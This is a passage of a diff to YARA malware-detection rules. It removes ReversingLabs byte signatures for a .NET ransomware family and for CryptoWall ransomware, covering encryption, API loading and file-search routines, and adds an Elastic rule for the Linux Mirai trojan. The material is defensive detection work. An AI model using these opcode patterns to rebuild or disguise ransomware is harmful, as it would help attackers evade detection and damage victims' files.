-            ?? ?? 26 00 11 04 11 05 28 ?? ?? ?? ?? 20 0A ?? ?? ?? 17 3A ?? ?? ?? ?? 26 00 73 ?? ?? ??
-            ?? 13 04 20 04 ?? ?? ?? 38 ?? ?? ?? ?? 2A
-        }
-		$msgbox_timer = {
-            00 28 ?? ?? ?? ?? 0A 06 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 07 28 ?? ?? ?? ?? 0C
-            00 02 7B ?? ?? ?? ?? 08 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 00 DE 12 08 14 FE 01
-            13 04 11 04 2D ?? 08 6F ?? ?? ?? ?? 00 DC 00 02 7B ?? ?? ?? ?? 16 32 0E 02 7B
-            ?? ?? ?? ?? 16 FE 04 16 FE 01 2B ?? 16 00 13 04 11 04 2D ?? 00 02 7B ?? ?? ??
-            ?? 6F ?? ?? ?? ?? 00 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 38 ?? ?? ?? ?? 02 7B ??
-            ?? ?? ?? 2D ?? 02 7B ?? ?? ?? ?? 2D ?? 02 7B ?? ?? ?? ?? 16 FE 01 16 FE 01 2B
-            ?? 17 00 13 04 11 04 2D ?? 00 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 73 ?? ?? ??
-            ?? 0D 09 17 6F ?? ?? ?? ?? 00 09 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 16 1F 40 28 ??
-            ?? ?? ?? 26 00 38 ?? ?? ?? ?? 00 02 7B ?? ?? ?? ?? 17 FE 04 16 FE 01 13 04 11
-            04 2D ?? 00 02 1F 3B 7D ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 17 FE 04 16 FE 01 13 04
-            11 04 2D ?? 00 02 1F 3B 7D ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 16 FE 01 13 04 11 04
-            2D ?? 02 25 7B ?? ?? ?? ?? 17 59 7D ?? ?? ?? ?? 00 2B ?? 02 25 7B ?? ?? ?? ??
-            17 59 7D ?? ?? ?? ?? 00 2B ?? 02 25 7B ?? ?? ?? ?? 17 59 7D ?? ?? ?? ?? 02 7B
-            ?? ?? ?? ?? 1F 09 FE 02 16 FE 01 13 04 11 04 2D ?? 02 7B ?? ?? ?? ?? 02 7C ??
-            ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 2B ?? 02 7B ?? ?? ?? ?? 72 ?? ?? ??
-            ?? 02 7C ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 02 7B ??
-            ?? ?? ?? 1F 09 FE 02 16 FE 01 13 04 11 04 2D ?? 02 7B ?? ?? ?? ?? 02 7C ?? ??
-            ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 2B ?? 02 7B ?? ?? ?? ?? 72 ?? ?? ?? ??
-            02 7C ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 02 7B ?? ??
-            ?? ?? 1F 09 FE 02 16 FE 01 13 04 11 04 2D ?? 02 7B ?? ?? ?? ?? 02 7C ?? ?? ??
-            ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 2B ?? 02 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 02
-            7C ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 00 2A
-        }
-		$unzip_packed_file = {
-            28 ?? ?? ?? ?? 0A 28 ?? ?? ?? ?? 0B 06 07 2E ?? 07 06 28 ?? ?? ?? ?? 2D ?? 14
-            2A 02 73 ?? ?? ?? ?? 0C 16 8D ?? ?? ?? ?? 0D 08 6F ?? ?? ?? ?? 13 04 11 04 20
-            ?? ?? ?? ?? 40 ?? ?? ?? ?? 08 6F ?? ?? ?? ?? 68 13 05 08 6F ?? ?? ?? ?? 13 06
-            08 6F ?? ?? ?? ?? 13 07 11 04 20 ?? ?? ?? ?? 33 ?? 11 05 1F 14 33 ?? 11 06 2D
-            ?? 11 07 1E 2E ?? 72 ?? ?? ?? ?? 73 ?? ?? ?? ?? 7A 08 6F ?? ?? ?? ?? 26 08 6F
-            ?? ?? ?? ?? 26 08 6F ?? ?? ?? ?? 26 08 6F ?? ?? ?? ?? 13 08 08 6F ?? ?? ?? ??
-            13 09 08 6F ?? ?? ?? ?? 13 0A 11 09 16 31 ?? 11 09 8D ?? ?? ?? ?? 13 0B 08 11
-            0B 16 11 09 6F ?? ?? ?? ?? 26 11 0A 16 31 ?? 11 0A 8D ?? ?? ?? ?? 13 0C 08 11
-            0C 16 11 0A 6F ?? ?? ?? ?? 26 08 6F ?? ?? ?? ?? 08 6F ?? ?? ?? ?? 59 D4 8D ??
-            ?? ?? ?? 13 0D 08 11 0D 16 11 0D 8E 69 6F ?? ?? ?? ?? 26 11 0D 73 ?? ?? ?? ??
-            13 0E 11 08 8D ?? ?? ?? ?? 0D 11 0E 09 16 09 8E 69 6F ?? ?? ?? ?? 26 14 13 0D
-            38 ?? ?? ?? ?? 11 04 1F 18 63 13 0F 11 04 11 0F 1F 18 62 59 13 04 11 04 20 ??
-            ?? ?? ?? 40 ?? ?? ?? ?? 11 0F 17 33 ?? 08 6F ?? ?? ?? ?? 13 10 11 10 8D ?? ??
-            ?? ?? 0D 16 13 11 2B ?? 08 6F ?? ?? ?? ?? 13 12 08 6F ?? ?? ?? ?? 13 13 11 12
-            8D ?? ?? ?? ?? 13 15 08 11 15 16 11 15 8E 69 6F ?? ?? ?? ?? 26 11 15 73 ?? ??
-            ?? ?? 13 14 11 14 09 11 11 11 13 6F ?? ?? ?? ?? 26 11 11 11 13 58 13 11 11 11
-            11 10 32 ?? 11 0F 18 33 ?? 1E 8D ?? ?? ?? ?? 25 D0 ?? ?? ?? ?? 28 ?? ?? ?? ??
-            13 16 1E 8D ?? ?? ?? ?? 25 D0 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 17 11 16 11 17 17
-            28 ?? ?? ?? ?? 13 18 11 18 02 1A 02 8E 69 1A 59 6F ?? ?? ?? ?? 13 19 11 19 28
-            ?? ?? ?? ?? 0D DE ?? 11 18 2C ?? 11 18 6F ?? ?? ?? ?? DC 11 0F 19 33 ?? 1F 10
-            8D ?? ?? ?? ?? 25 D0 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 1A 1F 10 8D ?? ?? ?? ?? 25
-            D0 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 1B 11 1A 11 1B 17 28 ?? ?? ?? ?? 13 1C 11 1C
-            02 1A 02 8E 69 1A 59 6F ?? ?? ?? ?? 13 1D 11 1D 28 ?? ?? ?? ?? 0D DE 17 11 1C
-            2C ?? 11 1C 6F ?? ?? ?? ?? DC 72 B5 0E 00 70 73 ?? ?? ?? ?? 7A 08 6F ?? ?? ??
-            ?? 14 0C 09 2A
-        }
-		$resolve_assembly = {
-            12 00 03 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 12 00 16 28 ?? ?? ?? ?? 0B 28 ?? ?? ?? ?? 07
-            6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C 72 ?? ?? ?? ?? 17 8D ?? ?? ?? ?? 13 13 11 13 16 1F
-            2C 9D 11 13 6F ?? ?? ?? ?? 0D 7E ?? ?? ?? ?? 13 04 16 13 05 16 13 06 16 13 07 2B ??
-            09 11 07 9A 08 28 ?? ?? ?? ?? 2C 0A 09 11 07 17 58 9A 13 04 2B ?? 11 07 18 58 13 07
-            11 07 09 8E 69 17 59 32 ?? 11 04 6F ?? ?? ?? ?? 2D ?? 12 00 7B ?? ?? ?? ?? 6F ?? ??
-            ?? ?? 2D ?? 28 ?? ?? ?? ?? 12 00 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C 16
-            13 08 2B ?? 09 11 08 9A 08 28 ?? ?? ?? ?? 2C ?? 09 11 08 17 58 9A 13 04 2B ?? 11 08
-            18 58 13 08 11 08 09 8E 69 17 59 32 ?? 11 04 6F ?? ?? ?? ?? 16 3E ?? ?? ?? ?? 11 04
-            16 6F ?? ?? ?? ?? 1F 5B 33 ?? 11 04 1F 5D 6F ?? ?? ?? ?? 13 09 11 04 17 11 09 17 59
-            6F ?? ?? ?? ?? 13 0A 11 0A 1F 7A 6F ?? ?? ?? ?? 16 FE 04 16 FE 01 13 05 11 0A 1F 74
-            6F ?? ?? ?? ?? 16 FE 04 16 FE 01 13 06 11 04 11 09 17 58 6F ?? ?? ?? ?? 13 04 7E ??
-            ?? ?? ?? 25 13 14 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 11 04 6F ?? ?? ?? ?? 2C ?? 7E ?? ??
-            ?? ?? 11 04 6F ?? ?? ?? ?? 13 12 DD ?? ?? ?? ?? 28 ?? ?? ?? ?? 11 04 6F ?? ?? ?? ??
-            13 0B 11 0B 39 ?? ?? ?? ?? 11 0B 6F ?? ?? ?? ?? 69 13 0C 11 0C 8D ?? ?? ?? ?? 13 0D
-            11 0B 11 0D 16 11 0C 6F ?? ?? ?? ?? 26 11 05 2C ?? 11 0D 28 ?? ?? ?? ?? 13 0D 14 13
-            0E 11 06 2D ?? 11 0D 28 ?? ?? ?? ?? 13 0E DE 0C 26 17 13 06 DE ?? 26 17 13 06 DE ??
-            11 06 2C ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 11 04 28 ?? ?? ?? ?? 13 0F 11 0F 28 ?? ??
-            ?? ?? 26 11 0F 12 00 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 10 11 10 28 ??
-            ?? ?? ?? 2D ?? 11 10 28 ?? ?? ?? ?? 13 11 11 11 11 0D 16 11 0D 8E 69 6F ?? ?? ?? ??
-            11 11 6F ?? ?? ?? ?? 11 10 14 1A 28 ?? ?? ?? ?? 26 11 0F 14 1A 28 ?? ?? ?? ?? 26 11
-            10 28 ?? ?? ?? ?? 13 0E DE ?? 26 DE ?? 7E ?? ?? ?? ?? 11 04 11 0E 6F ?? ?? ?? ?? 11
-            0E 13 12 DE ?? DE ?? 11 14 28 ?? ?? ?? ?? DC 14 2A 11 12 2A
-        }
+		$a = { C3 EB DF 5A 5B 5D 41 5C 41 5D C3 41 57 41 56 41 55 41 54 55 53 48 }
 
 	condition:
-		uint16(0)==0x5A4D and (($call_encrypt and $encrypt_files and $start_process) or ($msgbox_timer) or ($unzip_packed_file and $resolve_assembly))
+		all of them
 }
-import "pe"
-
-rule REVERSINGLABS_Win32_Ransomware_Cryptowall : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_A39Dfaa7 : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects CryptoWall ransomware."
-		author = "ReversingLabs"
-		id = "06d8b106-d69a-526a-8e16-c95d39eb2993"
-		date = "2020-07-15"
-		modified = "2020-07-15"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.CryptoWall.yara#L3-L312"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "74baa04ee506732e0bb64a77cfd2d2216fcc978f13447ef07862e0116c093c14"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "a39dfaa7-7d2c-4d40-bea5-bbebad522fa4"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L677-L694"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "98fde36fc412b6aa50c80c12118975a6bf754a9fba94f1cc3cdeed22565d6b0d"
 		score = 75
-		quality = 88
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "CryptoWall"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "95d12cb127c088d55fb0090a1cb0af8e0a02944ff56fd18bcb0834b148c17ad7"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$v30_entrypoint = {
-            55 8B EC 83 EC ?? E8 ?? ?? ?? ?? 85 C0 0F 84 9A 00 00 00 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 7E C7 45 ?? ?? ?? ?? ??
-            8D 45 ?? 50 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 65 8B 4D ?? 51 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2
-            E8 ?? ?? ?? ?? 8B 40 ?? A3 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0
-            75 19 C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 6A
-            ?? 6A ?? E8 ?? ?? ?? ?? 8B 50 ?? FF D2 33 C0 8B E5 5D C2
-        }
-		$v20_entrypoint = {
-            55 8B EC 83 EC ?? E8 ?? ?? ?? ?? 85 C0 0F 84 A3 00 00 00 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 85 83 00 00 00 C7 45 ??
-            ?? ?? ?? ?? 8D 45 ?? 50 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 6A 8B 4D ?? 51 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 90 ?? ??
-            ?? ?? FF D2 E8 ?? ?? ?? ?? 8B 40 ?? A3 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 83 C4 ?? 85 C0 75 19 C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 51
-            E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 8B 50 ?? FF D2 33 C0 8B E5 5D C2
-        }
-		$v30_api_load = {
-            55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 74 06 83 7D ?? ?? 75 08 8B 45 ?? E9 50 01 00 00 8B 45 ?? 50 E8 ?? ??
-            ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? ?? 0F 84 34 01 00 00 B9 ?? ?? ?? ?? 6B D1 ?? 8B 45 ?? 8B 4D ?? 03 4C 10 ?? 89 4D ?? 8B
-            55 ?? 8B 45 ?? 03 42 ?? 89 45 ?? 8B 4D ?? 8B 55 ?? 03 51 ?? 89 55 ?? 8B 45 ?? 8B 4D ?? 03 48 ?? 89 4D ?? C7 45 ?? ?? ??
-            ?? ?? EB 09 8B 55 ?? 83 C2 ?? 89 55 ?? 8B 45 ?? 8B 4D ?? 3B 48 ?? 0F 83 DA 00 00 00 8B 55 ?? 8B 45 ?? 8B 4D ?? 03 0C 90
-            51 E8 ?? ?? ?? ?? 83 C4 ?? 3B 45 ?? 0F 85 B7 00 00 00 BA ?? ?? ?? ?? 6B C2 ?? 8B 4D ?? 8B 54 01 ?? 8B 44 01 ?? 89 55 ??
-            89 45 ?? 8B 4D ?? 8B 55 ?? 0F B7 04 4A 8B 4D ?? 8B 14 81 3B 55 ?? 76 71 8B 45 ?? 8B 4D ?? 0F B7 14 41 8B 45 ?? 03 45 ??
-            8B 4D ?? 39 04 91 73 59 8B 55 ?? 8B 45 ?? 0F B7 0C 50 8B 55 ?? 8B 45 ?? 03 04 8A 89 45 ?? 74 3F 6A ?? 8B 4D ?? 51 E8 ??
-            ?? ?? ?? 83 C4 ?? 8B 55 ?? 8D 44 02 ?? 50 8D 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 8D 45 ?? 50 6A ?? 8D 4D ??
-            51 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 40 ?? FF D0 EB 16 8B 4D ?? 8B 55 ?? 0F B7 04 4A 8B 4D ?? 8B 55 ?? 03 14 81 89 55 ?? EB
-            05 E9 0E FF FF FF 8B 45 ?? 8B E5 5D C3
-        }
-		$v30_dll_load = {
-            55 8B EC 83 EC ?? E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 58 8B 45 ?? 8B 48 ?? 89 4D ?? 8B 55 ?? 83 C2 ?? 89 55 ?? 8B 45
-            ?? 8B 08 89 4D ?? 8B 55 ?? 3B 55 ?? 74 36 8B 45 ?? 89 45 ?? 8B 4D ?? 0F B7 51 ?? D1 EA 52 8B 45 ?? 8B 48 ?? 51 E8 ?? ??
-            ?? ?? 83 C4 ?? 3B 45 ?? 75 08 8B 55 ?? 8B 42 ?? EB 0C 8B 45 ?? 8B 08 89 4D ?? EB C2 33 C0 8B E5 5D C3
-        }
-		$v30_calculate_hash = {
-            55 8B EC 83 EC ?? 56 C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 74 5E 83 7D ?? ?? 74 58 8B 45 ?? 89 45 ?? 8B 4D ?? 89 4D ?? 8B 55
-            ?? 83 EA ?? 89 55 ?? 83 7D ?? ?? 74 3D 8B 45 ?? 66 8B 08 66 89 4D ?? 8B 75 ?? C1 EE ?? 0F B7 55 ?? 52 E8 ?? ?? ?? ?? 83
-            C4 ?? 0F B7 C0 33 45 ?? 25 ?? ?? ?? ?? 33 34 85 ?? ?? ?? ?? 89 75 ?? 8B 4D ?? 83 C1 ?? 89 4D ?? EB AE 8B 45 ?? 83 F0 ??
-            5E 8B E5 5D C3
-        }
-		$v30_1_find_file_1 = {
-            55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 74 06 83 7D ?? ?? 75 08 8B 45 ?? E9 47 02 00 00 E8 ?? ?? ?? ?? 89 45
-            ?? 83 7D ?? ?? 0F 84 32 02 00 00 8B 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 8B 45 ?? 50 E8 ?? ?? ??
-            ?? 83 C4 ?? 8B 4D ?? 0F B7 54 41 ?? 83 FA ?? 74 16 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 68
-            ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ??
-            ?? 0F 84 B2 01 00 00 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 89 45 ?? 83 7D ?? ?? 0F 84 84 01 00
-            00 C7 45 ?? ?? ?? ?? ?? 8B 4D ?? 8B 11 83 E2 ?? 0F 85 A0 00 00 00 C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 83 C0 ?? 50 E8 ?? ?? ??
-            ?? 83 C4 ?? 85 C0 0F 85 80 00 00 00 8D 4D ?? 51 8B 55 ?? 83 C2 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 69 C7 45 ?? ?? ??
-            ?? ?? 8D 45 ?? 50 8B 4D ?? 83 C1 ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 47 8B 45 ?? 50 8B 4D ?? 8B 11 52 8B
-            45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? ?? 75 1C 8B 4D ?? 83 C1 ?? 89 4D ?? 8B 55 ?? 8B 42 ?? 50 8B 4D ?? 51
-        }
-		$v30_1_find_file_2 = {
-            E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? EB 67 8B 45 ?? 83 C0 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75
-            54 C7 45 ?? ?? ?? ?? ?? 8D 4D ?? 51 8B 55 ?? 83 C2 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 32 8B 4D ?? 51 E8
-            ?? ?? ?? ?? 83 C4 ?? 85 C0 75 16 8B 55 ?? 52 8B 45 ?? 50 E8 30 FE FF FF 83 C4 ?? 03 45 ?? 89 45 ?? 8B 4D ?? 51 E8 ?? ??
-            ?? ?? 83 C4 ?? 8B 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 85 C0 0F 85 CE FE FF FF 8B 55 ?? 52 E8 ??
-            ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 83 7D ?? ?? 74 2E 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 50 8B 55 ?? 52 E8 ?? ?? ?? ?? 83
-            C4 ?? 3D ?? ?? ?? ?? 74 0E 6A ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 89 4D ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4
-            ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 8B E5 5D C3
-        }
-		$v30_2_find_file_1 = {
-            55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 74 06 83 7D ?? ?? 75 08 8B 45 ?? E9 ( 3B | 3D ) 02 00 00 E8 ?? ?? ??
-            ?? 89 45 ?? 83 7D ?? ?? 0F 84 ( 26 | 28 ) 02 00 00 8B 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 8B 45
-            ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 0F B7 54 41 ?? 83 FA ?? 74 16 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ??
-            ?? ?? ?? FF D1 68 ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ??
-            89 45 ?? 83 7D ?? ?? 0F 84 ( A6 | A8 ) 01 00 00 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 89 45 ??
-            83 7D ?? ?? 0F 84 ( 78 | 7A ) 01 00 00 C7 45 ?? ?? ?? ?? ?? 8B 4D ?? 8B 11 83 E2 ?? 0F 85 94 00 00 00 C7 45 ?? ?? ?? ??
-            ?? 8B 45 ?? 83 C0 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 78 8B 4D ?? 83 C1 ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 65 C7
-            45 ?? ?? ?? ?? ?? 8D 55 ?? 52 8B 45 ?? 83 C0 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 43 8B 55 ?? 8B 02 50 8B
-        }
-		$v30_2_find_file_2 = {
-            4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? ?? 75 1C 8B 55 ?? 83 C2 ?? 89 55 ?? 8B 45 ?? 8B 48 ?? 51 8B 55 ?? 52
-            E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? EB 67 8B 4D ?? 83 C1 ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75
-            54 C7 45 ?? ?? ?? ?? ?? 8D 55 ?? 52 8B 45 ?? 83 C0 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 32 8B 55 ?? 52 E8
-            ?? ?? ?? ?? 83 C4 ?? 85 C0 75 16 8B 45 ?? 50 8B 4D ?? 51 E8 3C FE FF FF 83 C4 ?? 03 45 ?? 89 45 ?? 8B 55 ?? 52 E8 ?? ??
-            ?? ?? 83 C4 ?? 8B 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 85 C0 0F 85 DA FE FF FF 8B 45 ?? 50 E8 ??
-            ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 83 7D ?? ?? 74 ( 2E | 30 ) 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 50 8B 45 ?? 50 E8 ?? ??
-            ?? ?? 83 C4 ?? 3D ?? ?? ?? ?? 74 ( 0E | 10 ) 6A ?? [0-2] 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 89 55 ?? 8B 45 ??
-            50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 8B E5 5D C3
-        }
-		$v30_3_find_file_1 = {
-            55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 74 06 83 7D ?? ?? 75 08 8B 45 ?? E9 7C 02 00 00 E8 ?? ?? ?? ?? 89 45
-            ?? 83 7D ?? ?? 0F 84 67 02 00 00 8B 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 8B 45 ?? 50 E8 ?? ?? ??
-            ?? 83 C4 ?? 8B 4D ?? 0F B7 54 41 ?? 83 FA ?? 74 16 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 68
-            ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ??
-            ?? 0F 84 E7 01 00 00 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 89 45 ?? 83 7D ?? ?? 0F 84 B9 01 00
-            00 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 4D ?? 83 C1 ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 91 00 00 00 8D 55
-            ?? 52 8B 45 ?? 83 C0 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 7A 8B 4D ?? 8B 11 83 E2 ?? 75 70 C7 45 ?? ?? ?? ?? ?? 8D 45
-            ?? 50 8B 4D ?? 83 C1 ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 49 8B 45 ?? 8B 48 ?? 51 8B 55 ?? 52 8B 45 ?? 8B
-        }
-		$v30_3_find_file_2 = {
-            08 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 1C 8B 45 ?? 83 C0 ?? 89 45 ?? 8B 4D ?? 8B 51 ?? 52 8B 45 ?? 50 E8 ??
-            ?? ?? ?? 83 C4 ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? E9 88 00 00 00 8B 55 ?? 8B 02 83 E0 ?? 74 7E 8B 4D ?? 83 79 ?? ??
-            74 75 8B 55 ?? 83 C2 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 62 C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 50 8B 4D ?? 83 C1 ?? 51 8B
-            55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 40 8B 45 ?? 50 8B 4D ?? 8B 51 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 1D 8B 45
-            ?? 50 8B 4D ?? 51 E8 15 FE FF FF 83 C4 ?? 85 C0 74 09 8B 55 ?? 83 C2 ?? 89 55 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B
-            4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 85 C0 0F 85 AC FE FF FF 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ??
-            ?? ?? ?? FF D2 8B 45 ?? 50 8B 4D ?? 8B 51 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 74 2E 8B 45 ?? 50 E8 ?? ?? ?? ?? 83
-            C4 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 3D ?? ?? ?? ?? 74 0E 6A ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 89
-            45 ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 8B E5 5D C3
-        }
-		$v20_1_encrypt_file_1 = {
